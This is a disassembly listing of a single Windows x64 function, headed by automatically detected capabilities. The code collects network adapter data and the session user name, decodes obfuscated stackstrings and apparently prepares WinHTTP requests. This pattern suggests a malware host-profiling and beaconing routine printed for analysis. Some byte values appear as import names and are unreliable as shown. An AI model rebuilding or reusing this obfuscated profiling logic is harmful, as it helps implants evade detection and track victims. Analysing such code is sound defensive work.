Function at 0x140146738
Capabilities:
Contain obfuscated stackstrings
Get session user name
Initialize winhttp library
Parse pe header
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x718]
sub rsp, 0x7f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14017b0c0]
xor rax, rsp
mov qword [rbp + 0x6d0], rax
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x4c8], rcx
and dword [rbp + 0x4c0], 0
lea rdx, [rbp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xorps xmm0, xmm0
movups xmmword [rbp + 0x558], xmm0
movdqa xmm6, xmmword [0x14015dd40]
movdqu xmmword [rbp + 0x568], xmm6
mov byte [rbp + 0x558], 0
mov ecx, dword [rbp + 0x4c0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
lea rdx, [rbp + 0x4c0]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov r12b, WSAStartup
test eax, eax
je 0x1401468f2
mov byte [rbp + 0x220], 0xec
mov byte [rbp + 0x221], 0xca
mov byte [rbp + 0x222], Ordinal_200
mov byte [rbp + 0x223], Ordinal_200
mov byte [rbp + 0x224], 0xc9
mov byte [rbp + 0x225], Ordinal_211
mov byte [rbp + 0x226], 0x90
mov byte [rbp + 0x227], 0xa3
mov byte [rbp + 0x228], 0xbf
mov byte [rbp + 0x229], 0xed
mov byte [rbp + 0x22a], __WSAFDIsSet
mov byte [rbp + 0x22b], 0xb0
mov byte [rbp + 0x22c], 0x46
mov byte [rbp + 0x22d], 0xe9
mov byte [rbp + 0x22e], 0x9f
mov byte [rbp + 0x22f], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x230], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x231], xmm0
mov dword [rbp + 0x241], eax
mov byte [rbp + 0x245], al
mov dil, byte [rsp + 0x40]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x26
jae 0x140147437
movzx r8d, byte [rbp + r10 + 0x220]
mov r9b, r8b
cmp rbx, r10
ja 0x14014742e
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x1401468fc
movabs rcx, 0x21998f74a21416b9
add rcx, r10
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0xf
jmp 0x140146943
cmp dword [rbx + 0x1a4], 6
jne 0x1401468ef
lea rdx, [rbx + 0x1c0]
cmp byte [rdx], 0x30
jne 0x14014743e
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1401468d6
jmp 0x14014744a
je 0x1401473b8
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140147345
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140147314
lea rax, [r11 + 4]
cmp rbx, rax
je 0x1401472d4
lea rax, [r11 + 7]
cmp rbx, rax
je 0x1401472b6
lea rax, [r11 + 8]
cmp rbx, rax
je 0x140147276
mov r9b, r8b
cmp r11, r10
ja 0x140147425
lea rax, [r11 + 0x5a]
cmp rbx, rax
jae 0x14014697b
movabs rdx, 0xc198c4914ba5dd2d
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x3b
jmp 0x140146b9d
lea rax, [r11 + 1]
cmp rbx, rax
je 0x14014725a
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140147242
lea rax, [r11 + 5]
cmp rbx, rax
je 0x140147227
lea rax, [r11 + 2]
cmp rbx, rax
je 0x14014720a
lea rax, [r11 + 8]
cmp rbx, rax
je 0x1401471ef
lea rax, [r11 + rbx]
cmp rax, r10
jbe 0x140146f73
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140146f55
lea rax, [r11 + 6]
cmp rbx, rax
je 0x140146f2f
lea rax, [r11 + 0xa]
cmp rbx, rax
je 0x140146f09
lea rax, [r11 + 0x61]
cmp rbx, rax
je 0x140146ee3
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x140146ebd
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140146e9a
lea rax, [r11 + 5]
cmp rbx, rax
je 0x140146e75
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x140146e50
lea rax, [r11 + 0x1000]
cmp rbx, rax
je 0x140146e2d
lea rax, [r11 + 0x41]
cmp rbx, rax
je 0x1401469c9
lea rbx, [r11 + 0x28]
lea r11, [rbx + 1]
lea rax, [r11 + 0x5a]
cmp rbx, rax
jb 0x140147409
lea rax, [r11 + 2]
cmp rbx, rax
jb 0x1401473ed
lea rax, [r11 + 5]
cmp rbx, rax
jb 0x140146bcb
lea rcx, [r11 + 9]
cmp rbx, rcx
jb 0x140146ba5
lea rax, [r11 + 0x1000]
cmp rbx, rax
jb 0x140146b7f
lea rax, [r11 + 0x41]
cmp rbx, rax
jb 0x140146dd6
lea rax, [r11 + 1]
cmp rbx, rax
jb 0x140146d85
lea rax, [r11 + 4]
cmp rbx, rax
jb 0x140146d3f
lea rax, [r11 + 0x80]
cmp rbx, rax
jb 0x140146d14
lea rax, [r11 + 0x400]
cmp rbx, rax
jb 0x1401469c9
mov rbx, rcx
lea r11, [rcx + 0x7a]
lea rax, [r11 + 0x20]
cmp rcx, rax
ja 0x140146cee
lea rax, [r11 + 0x41]
cmp rcx, rax
ja 0x140146ccc
lea rax, [r11 + 1]
cmp rcx, rax
ja 0x140146caa
lea rcx, [r11 + 4]
cmp rbx, rcx
ja 0x140146c87
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x140146c64
lea rax, [r11 + 0x400]
cmp rbx, rax
ja 0x140146c42
lea rax, [r11 + 0x7a]
cmp rbx, rax
ja 0x140146c2e
lea rax, [r11 + 0x2a]
cmp rbx, rax
ja 0x140146c1a
lea rax, [r11 + 3]
cmp rbx, rax
ja 0x140146bf1
lea rax, [r11 + 0x64]
cmp rbx, rax
ja 0x1401469c9
mov rbx, rcx
lea r11, [rcx + 0x3e8]
jmp 0x1401469c9
movabs rdx, 0x3e60e45400e85673
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 0x25
add dil, dl
jmp 0x1401469bc
movabs rdx, 0xfb2dc56abcc02901
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r9b
sub dil, al
sub dil, 7
add dil, dl
jmp 0x140146946
movabs rdx, 0xb7faa6817897fb8f
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r9b
sub dil, al
add dil, 0x17
add dil, dl
jmp 0x1401468a1
movabs rcx, 0xcc6248a5d2ee968
add rcx, r10
and r8b, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
mov sil, r10b
jmp 0x140147293
movabs rcx, 0xc99305a11906bbf6
mov eax, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140146f3e
movabs rcx, 0x865fe6b7d4de8e84
mov eax, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140146f18
movabs rcx, 0x432cc7ce90b66112
add rcx, r10
and r8b, cl
add r8b, r8b
mov dil, r9b
sub dil, r8b
sub dil, 0x7e
jmp 0x140146f01
movabs rax, 0xfff9a8e54c8e33a0
add rax, r10
and r8b, al
add r8b, r8b
sub r9b, r8b
lea edi, [rax + r9]
sub dil, 0x60
jmp 0x14014730f
movabs rax, 0xbcc689fc0866062e
add rax, r10
and r8b, al
add r8b, r8b
sub r9b, r8b
lea edi, [rax + r9]
sub dil, 0x42
jmp 0x140147332
movabs rcx, 0x79936b12c43dd8bc
add rcx, r10
and r8b, cl
add r8b, r8b
mov dil, r9b
sub dil, r8b
sub dil, 0x24
jmp 0x140146e92
movabs rcx, 0x36604c298015ab4a
add rcx, r10
and r8b, cl
add r8b, r8b
mov dil, r9b
sub dil, r8b
sub dil, 6
jmp 0x140146e6d
movabs rcx, 0xf32d2d403bed7dd8
add rcx, r10
and r8b, cl
mov eax, ntohs
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x1401473d6
movabs rax, 0x4b2d5ff911890c3b
add rax, r10
and r8b, al
add r8b, r8b
sub r9b, r8b
lea edi, [rax + r9]
add dil, 0x63
mov byte [rbp + r10 + 0x220], dil
jmp 0x1401473e5
movabs rcx, 0x7fa410fcd60dec9
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7f
cmp r11, 8
jb 0x140146d32
mov sil, r10b
lea edx, [rsi - 0x4a]
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140147290
movabs rcx, 0xc4c722268938b157
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x61
cmp rbx, 0x20
jae 0x1401471ac
lea rax, [r11 + 0x2a]
cmp rbx, rax
jbe 0x140147113
lea edx, [r10 + 0x42]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140146d5e
movabs rcx, 0x8194033d451083e5
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x43
lea rax, [r11 + rbx]
cmp rax, 0x64
je 0x1401471cc
lea rax, [r11 + 4]
cmp rbx, rax
jbe 0x140147056
lea edx, [r10 + 0x15]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140146da4
movabs rax, 0x89949b67c5e32f0e
add rax, r10
and r8b, al
add r8b, r8b
sub r9b, r8b
lea edi, [rax + r9]
sub dil, 0x62
jmp 0x1401473d6
movabs rcx, 0x46617c7e81bb019c
add rcx, r10
and r8b, cl
add r8b, r8b
mov dil, r9b
sub dil, r8b
sub dil, 0x44
add dil, cl
jmp 0x14014738c
movabs rcx, 0x32e5d953d92d42a
add rcx, r10
and r8b, cl
add r8b, r8b
mov dil, r9b
sub dil, r8b
sub dil, 0x26
add dil, cl
jmp 0x140147363
movabs rax, 0xbffb3eabf96aa6b8
add rax, r10
and r8b, al
add r8b, r8b
sub r9b, r8b
lea edi, [rax + r9]
sub dil, 8
jmp 0x140147332
movabs rcx, 0x7cc81fc2b5427946
add rcx, r10
and r8b, cl
mov eax, ntohs
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x14014730f
movabs rcx, 0x399500d9711a4bd4
add rcx, r10
and r8b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_26
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x1401472ef
movabs rcx, 0xf661e1f02cf21e62
mov eax, reloc.WLDAP32.dll_Ordinal_41
add rcx, r10
and r8b, cl
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x1401472cc
movabs rcx, 0xb32ec306e8c9f0f0
mov eax, Ordinal_60
add rcx, r10
and r8b, cl
sub al, r8b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x1401472b1
mov sil, r10b
lea edx, [rsi + 0x7e]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r12b
jmp 0x140147293
lea rax, [r11 + 6]
cmp rbx, rax
jae 0x140146f99
lea edx, [r10 - 0x47]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xf
add dil, dl
jmp 0x140146df5
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140146fbd
lea ecx, [r10 + 0x5a]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
jmp 0x1401473d6
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140146fe4
lea edx, [r10 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014738c
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x14014700b
lea edx, [r10 + 0x22]
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014730f
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x14014702e
lea edx, [r10 - 0x6c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
jmp 0x1401472ec
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140146df5
lea ecx, [r10 + 0x78]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x48
jmp 0x1401472b1
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14014707b
mov sil, r10b
lea edx, [rsi - 0x79]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4f
jmp 0x14014728d
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x14014709f
lea ecx, [r10 + 0x6b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x13
jmp 0x1401472cc
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x1401470c3
lea ecx, [r10 - 0x3f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x47
jmp 0x140147332
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1401470e6
lea edx, [r10 + 0x33]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x65
jmp 0x1401471e4
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140146da4
lea edx, [r10 - 0x5b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x7d
add dil, dl
mov r9b, r8b
jmp 0x14014738c
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14014713a
lea edx, [r10 - 0x4c]
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401473d6
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14014715d
lea edx, [r10 - 0x68]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x1401471e4
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140147181
lea edx, [r10 - 0x12]
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401472e9
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140146d5e
lea edx, [r10 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401472cc
lea ecx, [r10 + 0x28]
mov al, r8b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
add dil, r8b
mov r9b, r8b
jmp 0x1401472ef
lea edx, [r10 - 0x66]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, r8b
sub dil, 0x36
add dil, dl
mov r9b, r8b
jmp 0x140147363
lea ecx, [r10 + 0x2f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x49
jmp 0x1401473d6
lea edx, [r10 + 0x4b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xd
add dil, dl
jmp 0x140147363
lea ecx, [r10 - 0x27]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x11
jmp 0x140147332
lea ecx, [r10 - 0x7d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x6b
jmp 0x1401472cc
mov sil, r10b
lea edx, [rsi - 0x61]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x59
add dil, dl
jmp 0x140147293
mov sil, r10b
lea edx, [rsi - 0x45]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1d
add dil, dl
mov r9b, r8b
add sil, 0x6f
mov al, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 9
add r9b, sil
mov byte [rbp + r10 + 0x220], r9b
inc r11
jmp 0x1401472cc
lea ecx, [r10 - 0x29]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x1f
dec r10
jmp 0x1401473e5
lea edx, [r10 + 0x65]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3d
mov r9b, r8b
add dil, dl
lea ecx, [r10 - 0x1f]
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x27
add r9b, cl
add r9b, dil
mov byte [rbp + r10 + 0x220], r9b
add rbx, r11
jmp 0x140147332
movabs rcx, 0x2e660b19b2b4cc81
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x79
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401473e5
movabs rcx, 0xeb32ec306e8c9f0f
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
lea edx, [r10 + 0x53]
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x45
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x220], al
inc r11
add rax, r11
sub r10, rax
lea ecx, [r10 + 0xc]
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x54
add r9b, cl
mov byte [rbp + r10 + 0x220], r9b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401473d6
movabs rcx, 0x64ccae5de63c442b
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
movzx eax, byte [rbp + r10 + 0x220]
add rax, r11
add r10, rax
inc r10
jmp 0x14014688b
add r10b, 0x1d
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
add dil, 0x35
jmp 0x140146888
sub r10b, 0x55
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea edi, [r10 + r8]
add dil, 0x53
jmp 0x140146878
lea rdx, [rbp + 0x17f466c]
jmp 0x14014743e
lea rdx, [rbp + 0x535d25]
jmp 0x14014743e
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x558]
call fcn.140152364
xorps xmm0, xmm0
movups xmmword [rbp + 0x518], xmm0
movdqu xmmword [rbp + 0x528], xmm6
mov byte [rbp + 0x518], 0
mov dword [rbp + 0x4d0], 0x101
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov r13b, reloc.WS2_32.dll_WSACleanup
test eax, eax
je 0x140147494
lea rdx, [rbp + 0x5c0]
jmp 0x140147cef
mov byte [rbp + 0x250], 0xec
mov byte [rbp + 0x251], Ordinal_143
mov byte [rbp + 0x252], 0x83
mov byte [rbp + 0x253], 0x87
mov byte [rbp + 0x254], Ordinal_143
mov byte [rbp + 0x255], Ordinal_143
mov byte [rbp + 0x256], Ordinal_211
mov byte [rbp + 0x257], 0xa3
mov byte [rbp + 0x258], 0xbf
mov byte [rbp + 0x259], 0xed
mov byte [rbp + 0x25a], Ordinal_217
mov byte [rbp + 0x25b], 0xb0
mov byte [rbp + 0x25c], 0x86
mov byte [rbp + 0x25d], 0xe9
mov byte [rbp + 0x25e], 0xa3
mov byte [rbp + 0x25f], Ordinal_143
mov byte [rbp + 0x260], 0xbd
mov byte [rbp + 0x261], Ordinal_143
mov byte [rbp + 0x262], 0xb6
mov byte [rbp + 0x263], 0xbc
mov byte [rbp + 0x264], 0xb1
mov byte [rbp + 0x265], 0xba
mov byte [rbp + 0x266], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x267], xmm0
mov word [rbp + 0x277], ax
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x29
jae 0x140147ce8
movzx r9d, byte [rbp + r11 + 0x250]
mov edx, r9d
cmp rdi, r11
ja 0x140147cdf
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401475a9
movabs rcx, 0x1aad6667a8ac9d9
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x11
jmp 0x1401475d6
je 0x140147c6f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140147c25
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140147bdb
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140147bbf
mov r8b, r11b
cmp r10, r11
ja 0x140147cd6
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140147601
lea ecx, [r8 - 0x33]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x65
jmp 0x14014762e
je 0x140147b87
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140147b6f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140147b54
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140147b0f
lea r15, [r10 + rdi]
cmp r15, r11
jbe 0x1401478c4
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401478a7
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140147888
lea rcx, [r10 + 0x80]
cmp rdi, rcx
je 0x14014786d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140147854
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140147839
mov rdi, rcx
lea r10, [rcx + 0x61]
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x140147cbb
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x140147ca0
lea rcx, [r10 + 0x61]
cmp rdi, rcx
jb 0x140147764
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014774b
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140147732
mov rdi, rcx
lea r10, [rcx + 1]
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x14014781a
lea rax, [r10 + 0x80]
cmp rcx, rax
ja 0x1401477fb
lea rcx, [r10 + 0x10]
cmp rdi, rcx
ja 0x1401477ed
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401477ce
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401477b3
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14014779a
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014777f
mov rdi, rcx
lea r10, [rcx + 0x64]
jmp 0x14014763b
lea ecx, [r8 - 0x2d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x3b
jmp 0x14014762e
lea ecx, [r8 + 0x21]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x19
jmp 0x1401475d9
add r8b, 0x6f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 9
jmp 0x140147575
add r8b, 4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1c
jmp 0x140147bd3
lea ecx, [r8 + 0x52]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
jmp 0x140147bf3
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x140147c13
sub r8b, 0x12
mov al, r8b
and al, r9b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140147c16
lea edx, [r8 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14014796d
sub r8b, 0x76
mov al, r8b
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140147c3f
sub r8b, 0x28
mov al, r8b
and al, r9b
mov ecx, ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140147c89
add r8b, 6
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2a
jmp 0x140147c13
lea ecx, [r8 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x140147bf3
sub r8b, 0x5e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6e
jmp 0x140147bd3
sub r8b, 0x10
mov al, r8b
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140147bba
lea edx, [r8 + 0x3e]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147b9c
lea rdx, [r10 + 1]
cmp rdi, rdx
jae 0x14014793e
lea ecx, [r8 - 0x27]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x11
lea r14, [r10 + 2]
lea rsi, [r10 + 3]
cmp r15, 0x61
je 0x140147afa
cmp rdi, rdx
jbe 0x1401479cf
lea ecx, [r8 - 0x4b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0xd
cmp rdi, 1
jae 0x140147ade
cmp rdi, rdx
jne 0x140147a50
add r8b, 0x34
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6c
jmp 0x140147c89
jne 0x14014795b
sub r8b, 0x66
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x36
jmp 0x140147c89
lea r14, [r10 + 2]
cmp rdi, r14
jne 0x140147981
lea edx, [r8 - 2]
mov ecx, 7
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147b24
lea rsi, [r10 + 3]
cmp rdi, rsi
jne 0x1401479a9
add r8b, 0x62
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140147c13
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401478e9
lea ecx, [r8 + 0x2a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
jmp 0x140147b9c
jne 0x1401479ea
lea ecx, [r8 + 0x67]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
jmp 0x140147b9c
cmp rdi, r14
jne 0x140147a0a
add r8b, 0x19
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x51
jmp 0x140147bba
cmp rdi, rsi
jne 0x140147a2a
sub r8b, 0x1f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x27
jmp 0x140147c16
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140147910
lea ecx, [r8 - 0x6d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 5
jmp 0x140147b24
cmp rdi, r14
jne 0x140147a70
sub r8b, 0x1a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4a
jmp 0x140147c3f
cmp rdi, rsi
jne 0x140147a8e
lea ecx, [r8 - 0x68]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x140147b24
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140147ab0
lea ecx, [r8 - 0x3c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5c
jmp 0x140147b9c
cmp r10, 6
jb 0x140147ad1
lea ecx, [r8 + 0x76]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx + rcx]
sub bl, r13b
jmp 0x140147b9c
mov byte [rbp + r11 + 0x250], bl
jmp 0x140147c98
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
add bl, r9b
jmp 0x140147bf3
lea edx, [r8 - 0x26]
mov al, dl
and al, r9b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140147b22
lea edx, [r8 - 0x55]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x53
add bl, dl
sub r8b, 0x4d
mov al, r9b
and al, r8b
add al, al
mov cl, r9b
sub cl, al
add cl, 0x1b
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x250], al
inc r10
add rax, r10
sub r11, rax
jmp 0x140147c3f
sub r8b, 7
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x31
jmp 0x140147c16
add r8b, 0x31
mov al, r9b
